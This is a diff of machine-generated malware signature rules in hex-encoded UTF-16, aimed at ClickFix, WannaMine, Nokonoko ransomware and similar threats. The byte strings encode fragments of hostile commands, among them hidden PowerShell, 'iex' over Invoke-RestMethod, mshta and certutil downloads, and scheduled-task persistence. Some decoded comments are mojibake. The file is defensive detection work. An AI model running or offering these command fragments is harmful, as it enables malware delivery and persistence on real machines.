01 00 0a 00 65 00 76 00 61 00 6c 00 28 00 00 00 d7 81 00 00 03 00 03 00 04 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 } //110 - $a_6b_2 = {6e 6f 6b 6f 2e 43 58 00 01 00 10 00 2d 00 2d 00 63 00 6f 00 6e 00 66 00 69 00 67 00 01 00 18 00 4a 00 4f 00 54 00 30 00 74 00 50 00 54 00 6b 00 39 00 4c 00 54 00 79 00 01 00 14 00 58 00 4a 00 6c 00 59 00 57 00 52 00 74 00 5a 00 53 00 35 00 01 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 d7 83 00 00 78 00 78 00 04 00 21 } //20015 + $a_6b_2 = {6e 6f 6b 6f 2e 43 58 00 01 00 10 00 2d 00 2d 00 63 00 6f 00 6e 00 66 00 69 00 67 00 01 00 18 00 4a 00 4f 00 54 00 30 00 74 00 50 00 54 00 6b 00 39 00 4c 00 54 00 79 00 01 00 14 00 58 00 4a 00 6c 00 59 00 57 00 52 00 74 00 5a 00 53 00 35 00 01 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 d7 81 00 00 06 00 06 00 08 00 21 } //20015 condition: ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*110+(#a_6b_2 & 1)*20015) >=3 } -rule _InfrastructureShared_26250{ +rule _InfrastructureShared_27741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 04 00 21 " strings : $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 4e 6f 6b 6f 6e 6f 6b 6f 2e 43 58 00 01 00 10 00 2d 00 2d 00 63 00 6f 00 6e 00 66 00 69 00 67 00 01 00 18 00 4a 00 4f 00 54 00 30 00 74 00 50 00 54 00 6b 00 39 00 4c 00 54 00 79 00 01 00 14 } //21283 - $a_00_2 = {57 00 52 00 74 00 5a 00 53 00 35 00 01 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 d7 83 00 00 78 00 78 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 73 74 79 4d 65 74 61 6c 2e 43 21 64 68 61 00 32 00 16 00 5c 00 70 00 79 00 74 } //108 + $a_00_2 = {57 00 52 00 74 00 5a 00 53 00 35 00 01 00 0e 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 00 00 d7 81 00 00 06 00 06 00 08 00 21 23 53 4c 46 3a 50 57 43 6d 64 2e 53 30 30 31 00 02 00 06 00 69 00 65 00 78 00 02 00 06 00 69 00 72 00 6d 00 01 00 14 00 70 00 6f 00 77 00 } //108 + $a_00_3 = {73 00 68 00 65 00 6c 00 6c 00 01 00 0e 00 2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 01 00 06 00 3b 00 20 00 24 00 01 00 06 00 20 00 2b 00 20 00 01 00 06 00 20 00 3d 00 20 00 01 00 08 00 3d 00 20 00 28 00 24 00 00 00 d7 82 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 45 21 } //101 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*108) >=3 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*108+(#a_00_3 & 1)*101) >=3 } -rule _InfrastructureShared_26251{ +rule _InfrastructureShared_27742{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 08 00 21 " + + strings : + $a_46_0 = {50 57 43 6d 64 2e 53 30 30 31 00 02 00 06 00 69 00 65 00 78 00 02 00 06 00 69 00 72 00 6d 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 0e 00 2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 01 00 06 } //21283 + $a_00_2 = {06 } //36 + $a_00_4 = {06 } //32 + $a_00_6 = {08 } //32 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*36+(#a_00_4 & 1)*32+(#a_00_6 & 1)*32) >=6 + +} +rule _InfrastructureShared_27743{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 45 21 4d 54 42 00 01 00 18 00 2e 00 53 00 75 00 62 00 73 00 74 00 72 00 69 00 6e 00 67 00 28 00 24 00 01 00 1e 00 5b 00 63 00 68 00 61 00 72 00 5d 00 5b 00 } //21283 + $a_00_1 = {74 00 5d 00 28 00 22 00 30 00 78 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 00 00 d7 82 00 00 79 00 79 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 4b 21 4d 54 42 00 64 00 2a 00 55 00 73 00 65 00 72 00 2d 00 41 00 67 00 65 00 6e 00 74 00 3a 00 } //105 + $a_00_2 = {2d 00 43 00 61 00 70 00 74 00 63 00 68 00 61 00 0a 00 0c 00 2d 00 77 00 20 00 25 00 25 00 7b 00 0a 00 08 00 63 00 75 00 72 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 82 00 00 79 00 79 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 } //80 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*105+(#a_00_2 & 1)*80) >=3 + +} +rule _InfrastructureShared_27744{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 4b 21 4d 54 42 00 64 00 2a 00 55 00 73 00 65 00 72 00 2d 00 41 00 67 00 65 00 6e 00 74 00 3a 00 50 00 53 00 2d 00 43 00 61 00 70 00 74 00 63 00 68 00 61 00 } //21283 + $a_00_1 = {2d 00 77 00 20 00 25 00 25 00 7b 00 } //10 -w %%{ + $a_00_2 = {63 00 75 00 72 00 6c 00 } //10 curl + $a_00_3 = {68 00 74 00 74 00 70 00 } //1 http + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*1) >=121 + +} +rule _InfrastructureShared_27745{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,79 00 79 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 54 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 18 00 2d 00 4d 00 65 00 74 00 68 00 6f 00 64 00 20 00 50 00 } //21283 + $a_00_1 = {74 00 0a 00 12 00 29 00 2e 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 83 00 00 78 00 78 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 73 74 79 4d 65 74 61 6c 2e 43 21 64 68 61 00 32 00 16 00 5c 00 70 00 79 00 74 00 68 00 6f 00 6e 00 2e 00 65 00 78 00 65 00 32 00 1d 02 73 } //111 + $a_00_3 = {63 00 6f 00 64 00 65 00 90 02 01 2e 00 70 00 79 00 90 00 0a 00 0c 00 20 00 2d 00 6d 00 20 00 31 00 20 00 0a 00 08 00 20 00 2d 00 73 00 20 00 00 00 d7 84 00 00 97 00 97 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 57 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 } //108 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_00_3 & 1)*108) >=121 + +} +rule _InfrastructureShared_27746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 73 74 79 4d 65 74 61 6c 2e 43 21 64 68 61 00 32 00 16 00 5c 00 70 00 79 00 74 00 68 00 6f 00 6e 00 2e 00 65 00 78 00 65 00 32 00 1d 02 73 00 68 00 65 00 6c 00 6c 00 63 00 6f 00 64 00 } //21283 - $a_02_1 = {01 2e 00 70 00 79 00 90 00 0a 00 0c 00 20 00 2d 00 6d 00 20 00 31 00 20 00 0a 00 08 00 20 00 2d 00 73 00 20 00 00 00 d7 84 00 00 03 00 03 00 01 00 21 23 53 4c 46 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 45 78 65 63 75 74 69 6f 6e 46 72 6f 6d 41 44 53 2e 42 00 03 00 51 02 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 61 00 69 00 5f 00 61 00 6c 00 74 00 65 00 72 00 6e 00 61 00 74 00 65 00 } //101 - $a_00_2 = {74 00 72 00 65 00 61 00 6d 00 5f 00 90 02 20 3a 00 61 00 69 00 2d 00 90 00 00 00 d7 85 00 00 3f 00 3f 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 65 63 74 4a 61 76 61 45 78 70 6c 6f 69 74 2e 45 00 32 00 10 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 01 00 04 00 2d 00 66 00 01 00 10 00 75 00 72 00 6c 00 } //95 - $a_00_3 = {63 00 68 00 65 00 01 00 0a 00 73 00 70 00 6c 00 69 00 74 00 0a 00 13 02 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 00 00 00 d7 86 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 57 61 6e 6e 61 4d 69 6e 65 2e 43 00 01 00 56 00 70 00 } //99 + $a_02_1 = {01 2e 00 70 00 79 00 90 00 0a 00 0c 00 20 00 2d 00 6d 00 20 00 31 00 20 00 0a 00 08 00 20 00 2d 00 73 00 20 00 00 00 d7 84 00 00 97 00 97 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 57 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 1c 00 24 00 61 00 2b 00 24 00 62 00 2b 00 24 00 63 00 2b 00 24 00 64 00 2b 00 24 00 65 00 01 00 0c } //101 + $a_00_3 = {2f 00 63 00 01 00 0c 00 63 00 6d 00 64 00 20 00 2d 00 63 00 00 00 d7 85 00 00 3f 00 3f 00 05 00 } //100 condition: - ((#a_46_0 & 1)*21283+(#a_02_1 & 1)*101+(#a_00_2 & 1)*95+(#a_00_3 & 1)*99) >=120 + ((#a_46_0 & 1)*21283+(#a_02_1 & 1)*101+(#a_00_3 & 1)*100) >=120 } -rule _InfrastructureShared_26252{ +rule _InfrastructureShared_27747{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,03 00 03 00 01 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff97 00 ffffff97 00 04 00 21 " strings : - $a_46_0 = {56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 45 78 65 63 75 74 69 6f 6e 46 72 6f 6d 41 44 53 2e 42 00 03 00 51 02 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 61 00 69 00 5f 00 61 00 6c 00 74 } //21283 楖呲潯㩬楗㍮⼲硅捥瑵潩䙮潲䅭卄䈮̀儀専眀椀渀搀漀眀猀尀琀攀洀瀀尀愀椀开愀氀琀 + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 42 57 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 1c 00 24 00 61 00 2b 00 24 00 62 00 2b 00 24 00 63 00 2b 00 } //21283 + $a_00_1 = {2b 00 24 00 65 00 01 00 0c 00 63 00 6d 00 64 00 20 00 2f 00 63 00 01 00 0c 00 63 00 6d 00 64 00 20 00 2d 00 63 00 00 00 d7 85 00 00 3f 00 3f 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 65 63 74 4a 61 76 61 45 78 70 6c 6f 69 74 2e 45 00 32 00 10 00 63 00 65 00 72 00 } //36 + $a_00_2 = {74 00 69 00 6c 00 01 00 04 00 2d 00 66 00 01 00 10 00 75 00 72 00 6c 00 63 00 61 00 63 00 68 00 65 00 01 00 0a 00 73 00 70 00 6c 00 69 00 74 00 0a 00 13 02 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 00 00 00 d7 85 00 00 78 00 78 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 41 21 4d 54 42 00 } //116 + $a_02_3 = {70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 22 00 20 00 2d 00 63 00 20 00 70 00 69 00 6e 00 67 00 20 00 [0-0f] 2e 00 63 00 6f 00 6d 00 } //100 condition: - ((#a_46_0 & 1)*21283) >=3 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*36+(#a_00_2 & 1)*116+(#a_02_3 & 1)*100) >=151 } -rule _InfrastructureShared_26253{ +rule _InfrastructureShared_27748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,3f 00 3f 00 05 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 65 63 74 4a 61 76 61 45 78 70 6c 6f 69 74 2e 45 00 32 00 10 00 63 00 65 00 72 00 74 00 75 00 74 00 69 00 6c 00 01 00 04 00 2d 00 66 00 01 00 10 00 75 00 72 } //21539 - $a_00_2 = {68 00 65 00 01 00 0a 00 73 00 70 00 6c 00 69 00 74 00 0a 00 13 02 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 00 00 00 d7 86 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 57 61 6e 6e 61 4d 69 6e 65 2e 43 00 01 00 56 00 70 00 6f 00 77 00 } //97 - $a_00_3 = {73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 6e 00 6f 00 70 00 20 00 2d 00 6e 00 6f 00 6e 00 69 00 20 00 2d 00 77 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 20 00 2d 00 65 00 20 00 6a 00 61 00 62 00 00 00 d7 87 00 00 04 00 04 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 } //101 - $a_49_4 = {4d 54 42 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 10 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 02 00 24 00 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 } //11896 + $a_00_2 = {68 00 65 00 01 00 0a 00 73 00 70 00 6c 00 69 00 74 00 0a 00 13 02 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 90 00 00 00 d7 85 00 00 78 00 78 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 41 21 4d 54 42 00 64 00 3d 02 70 00 6f 00 77 00 65 00 } //97 + $a_00_3 = {68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 22 00 20 00 2d 00 63 00 20 00 70 00 69 00 6e 00 67 00 20 00 90 02 0f 2e 00 63 00 6f 00 6d 00 90 00 0a 00 08 00 23 00 20 00 43 00 3a 00 0a 00 0a 00 2e 00 64 00 6f 00 63 00 78 00 00 00 d7 86 00 00 01 00 01 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 57 61 6e 6e } //114 + $a_6e_4 = {2e 43 00 01 00 56 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 6e 00 6f 00 70 00 20 00 2d 00 6e 00 6f 00 6e 00 69 00 20 00 2d 00 77 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 20 00 2d 00 65 00 20 00 6a 00 61 00 62 00 00 00 d7 86 00 00 04 00 04 00 04 00 } //19809 condition: - ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*97+(#a_00_3 & 1)*101+(#a_49_4 & 1)*11896) >=63 + ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*97+(#a_00_3 & 1)*114+(#a_6e_4 & 1)*19809) >=63 } -rule _InfrastructureShared_26254{ +rule _InfrastructureShared_27749{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,78 00 78 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 41 21 4d 54 42 00 64 00 3d 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 22 00 20 00 2d 00 63 00 20 00 70 00 69 00 6e 00 } //21283 牔橯湡场湩㈳䘯汩䙥硩䐮⅁呍BdȽpowershell.exe" -c pin + $a_00_1 = {90 02 0f 2e 00 63 00 6f 00 6d 00 90 00 0a 00 08 00 23 00 20 00 43 00 3a 00 0a 00 0a 00 2e 00 64 } //103 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*103) >=120 + +} +rule _InfrastructureShared_27750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -343506,7 +362929,57 @@ rule _InfrastructureShared_26254{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26255{ +rule _InfrastructureShared_27751{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 50 6f 77 64 6f 77 2e 53 41 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 14 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 } //21283 + $a_00_1 = {01 00 0e 00 68 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 01 00 12 00 66 00 79 00 79 00 6c 00 2e 00 6c 00 69 00 76 00 65 00 00 00 d7 86 00 00 6e 00 6e 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 46 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 3e 00 } //99 + $a_00_2 = {78 00 20 00 28 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 52 00 65 00 73 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 20 00 27 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 00 00 d7 86 00 00 7b 00 7b 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 45 41 21 4d } //105 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*99+(#a_00_2 & 1)*105) >=4 + +} +rule _InfrastructureShared_27752{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 46 46 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 3e 00 69 00 65 00 78 00 20 00 28 00 49 00 6e 00 76 00 6f 00 } //21283 + $a_00_1 = {2d 00 52 00 65 00 73 00 74 00 4d 00 65 00 74 00 68 00 6f 00 64 00 20 00 27 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 00 00 d7 86 00 00 7b 00 7b 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 45 41 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 } //107 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*107) >=110 + +} +rule _InfrastructureShared_27753{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,7b 00 7b 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 45 41 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 10 00 69 00 65 00 78 00 20 00 28 00 69 00 77 00 72 00 0a 00 0a 00 } //21283 + $a_00_1 = {73 00 65 00 62 00 01 00 08 00 2e 00 70 00 73 00 31 00 01 00 0a 00 2e 00 64 00 6f 00 63 00 78 00 01 00 04 00 23 00 20 00 00 00 d7 86 00 00 a1 00 a1 00 04 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 48 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 24 00 28 } //45 + $a_00_3 = {57 00 2a 00 2a 00 33 00 32 00 63 00 3f 00 3f 00 6c 00 2e 00 65 00 2a 00 29 00 0a 00 0a 00 7c 00 } //114 + $a_00_4 = {65 00 78 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 87 00 00 04 00 04 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4d 49 21 4d 54 42 00 01 00 1c 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 10 00 2d 00 43 00 6f 00 } //32 + $a_00_5 = {61 00 6e 00 64 00 02 00 24 00 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 00 00 d7 87 00 00 14 00 14 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 54 61 73 6b 43 72 65 61 74 65 2e 42 00 14 00 57 02 73 00 63 00 68 00 74 00 61 00 73 } //109 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*45+(#a_00_3 & 1)*114+(#a_00_4 & 1)*32+(#a_00_5 & 1)*109) >=123 + +} +rule _InfrastructureShared_27754{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffa1 00 ffffffa1 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 45 48 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 24 00 28 00 64 00 69 00 72 00 20 00 57 00 2a 00 2a 00 33 00 } //21283 + $a_00_1 = {3f 00 3f 00 6c 00 2e 00 65 00 2a 00 29 00 0a 00 0a 00 7c 00 20 00 69 00 65 00 78 00 01 00 08 00 68 00 74 00 74 00 70 00 00 00 d7 87 00 00 04 00 04 00 03 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 4d 49 21 4d 54 42 00 01 00 1c 00 70 00 6f 00 77 00 65 00 } //50 + $a_00_2 = {68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 01 00 10 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 02 00 24 00 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 00 00 d7 87 00 00 14 00 14 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 75 73 70 54 61 73 6b } //114 + $a_61_3 = {65 2e 42 00 14 00 57 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 90 02 ff 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 90 02 ff 2f 00 74 00 72 00 90 02 ff 5c 00 61 00 70 00 70 00 64 00 61 00 74 00 61 00 5c 00 72 00 6f 00 61 00 6d 00 69 00 6e 00 67 00 90 00 00 00 d7 88 00 00 } //29251 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*50+(#a_00_2 & 1)*114+(#a_61_3 & 1)*29251) >=161 + +} +rule _InfrastructureShared_27755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 03 00 21 " @@ -343517,7 +362990,7 @@ rule _InfrastructureShared_26255{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*2) >=4 } -rule _InfrastructureShared_26256{ +rule _InfrastructureShared_27756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 01 00 21 " @@ -343527,7 +363000,19 @@ rule _InfrastructureShared_26256{ ((#a_46_0 & 1)*21283) >=20 } -rule _InfrastructureShared_26257{ +rule _InfrastructureShared_27757{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 57 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 08 00 68 00 74 00 74 00 70 00 01 00 0c 00 68 00 69 00 64 00 } //21283 + $a_00_1 = {6e 00 01 00 24 00 2d 00 4d 00 65 00 74 00 68 00 6f 00 64 00 20 00 50 00 6f 00 73 00 74 00 20 00 2d 00 42 00 6f 00 64 00 79 00 00 00 d7 88 00 00 05 00 05 00 05 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 75 73 70 66 73 69 75 74 69 6c 2e 41 00 01 00 0c 00 66 00 73 00 75 00 74 00 69 00 6c 00 01 00 0c 00 20 } //100 + $a_00_3 = {20 00 01 00 1a 00 20 00 73 00 65 00 74 00 5a 00 65 00 72 00 6f 00 44 00 61 00 74 00 61 00 20 00 01 00 10 00 20 00 6f 00 66 00 66 00 73 00 65 00 74 00 3d 00 01 00 10 00 20 00 6c 00 65 00 6e 00 67 00 74 00 68 00 3d 00 00 00 d7 88 00 00 0b 00 0b 00 03 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 } //108 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*100+(#a_00_3 & 1)*108) >=4 + +} +rule _InfrastructureShared_27758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " @@ -343541,7 +363026,7 @@ rule _InfrastructureShared_26257{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*116+(#a_00_2 & 1)*97+(#a_6b_3 & 1)*24916+(#a_54_4 & 1)*19525) >=5 } -rule _InfrastructureShared_26258{ +rule _InfrastructureShared_27759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " @@ -343553,7 +363038,7 @@ rule _InfrastructureShared_26258{ ((#a_46_0 & 1)*21283+(#a_18_1 & 1)*-28672+(#a_2e_2 & 1)*656) >=11 } -rule _InfrastructureShared_26259{ +rule _InfrastructureShared_27760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 01 00 21 " @@ -343563,7 +363048,7 @@ rule _InfrastructureShared_26259{ ((#a_46_0 & 1)*21283) >=20 } -rule _InfrastructureShared_26260{ +rule _InfrastructureShared_27761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 21 " @@ -343573,58 +363058,176 @@ rule _InfrastructureShared_26260{ 